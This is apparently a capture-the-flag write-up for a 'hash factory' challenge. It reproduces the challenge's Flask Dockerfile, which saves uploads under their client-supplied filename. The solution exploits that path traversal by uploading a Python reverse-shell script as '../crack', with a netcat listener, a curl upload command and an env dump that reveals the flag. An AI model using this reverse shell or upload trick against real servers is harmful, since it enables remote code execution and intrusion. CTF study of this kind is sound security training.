Oi! My hash factory will crack any hashes you pass to it. I mean. try it!
Dockerfile is provided in attachment:
# welcome to our wonderful hash factory! lemme give you a tour!
# first, we start with the python base, it's slim allowing us
# to add the rest of our equipment safely!
FROM python:3.12-slim AS base
# we cant go far in this business without some uv protection.
# it helps with 'em pesky rays coming from all the hash cracking
COPY --from=ghcr.io/astral-sh/uv:0.7.3 /uv /uvx /bin/
# and... these are some flags, cant remember why we have them
ENV PYTHONDONTWRITEBYTECODE=1 \
PYTHONUNBUFFERED=1 \
PIP_NO_CACHE_DIR=1
# it ain't no factory if it isn't up to date, i must say..
RUN apt-get update && apt-get install -y curl && rm -rf /var/lib/apt/lists/*
# this is where all the manufacturing happens, we keep it all here
WORKDIR /app
# ah! one last thing, we must prepare our virtual environment; otherwise
# them wild packages will go rampant in our system!
RUN uv venv
ENV PATH="/app/.venv/bin:$PATH"
# and yes, we need our beautiful flask to serve our goodies
RUN uv pip install flask==3.1.2;
# this is our main platform, it collects wild hash files from our customers
# and queues them up for our crack station. isn't it magnificent?
RUN cat <<EOF > main.py
from flask import Flask, request
from pathlib import Path
from subprocess import check_output
app = Flask(__name__)
hashes = Path.cwd() / 'hashes'
hashes.mkdir()
base = '<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@picocss/pico@2/css/pico.min.css" /><div style="width:48rem;margin:2rem auto;">%s</div>'
@app.route('/', methods=["GET", "POST"])
def index():
hash_file = request.files.get('hash_file')
if not hash_file:
return base % '''<p>hash_factory v1.0: u must pass the hash file!</p>
<form method="POST" enctype="multipart/form-data">
<input type="file" name="hash_file" />
<input type="submit" value="pass the hash" />
</form>'''
hash_file.save(path := hashes / hash_file.filename)
crack_results = check_output(["/app/crack", path], text=True)
path.unlink()
return base % ("<pre>" + crack_results + "</pre>")
EOF
# lo and behold! this is our crack station. it's so powerful
# it can crack numbers so high up beyond imagination! it can
# crack from 0 all the way to 1337. unbelievable, i told ya!
RUN cat <<EOF > crack
#!/app/.venv/bin/python
import sys, hashlib
md5 = lambda x: hashlib.md5(x.encode().strip()).hexdigest()
hashes_cracked = hashes = 0
print("hash_factory v1.0:")
try:
for line in open(sys.argv[1], 'r', encoding="utf-8"):
line = line.strip()
# we only crack hashes here
if len(line) != len(md5('')):
continue
hashes += 1
cracked = i = 0
for hash in map(md5, map(str, range(1338))):
if line == hash:
print(f'{line}:{i}')
cracked = 1; hashes_cracked += 1; break
i += 1
if not cracked:
print(f'{line}:-')
print(f"\ncracked {hashes_cracked}/{hashes}")
except Exception as ex:
print(ex)
EOF
# least privileges they said is good for the factory
RUN useradd -m app && chown -R app:app /app && chmod 755 crack
# we cant serve our customers if we aint exposed, we serve on factory terminal 5000
EXPOSE 5000
USER app
# i would say that's enough touring, you now know it all. get to work!
CMD ["flask", "--app", "main.py", "run", "--host", "0.0.0.0", "--port", "5000"]
There is an arbitrary file write vulnerability:
hash_file.save(path := hashes / hash_file.filename)
We can upload a python to get reverse shell to override crack
:
# wait for reverse shell on on VPS
$ nc -l -p 1337 -v
# attack locally
$ cat test
#!/app/.venv/bin/python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("REDACTED",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
$ curl -vv -F "hash_file=@test;filename=../crack" http://cmvkynvk.playat.flagyard.com/
# print flag in reverse shell
$ env
FLASK_RUN_FROM_CLI=true
LC_CTYPE=C.UTF-8
WERKZEUG_SERVER_FD=3
PATH=/app/.venv/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DYN_FLAG=BHFlagY{22725eb594c9c8a4964aaa9f3d476aac}
PWD=/app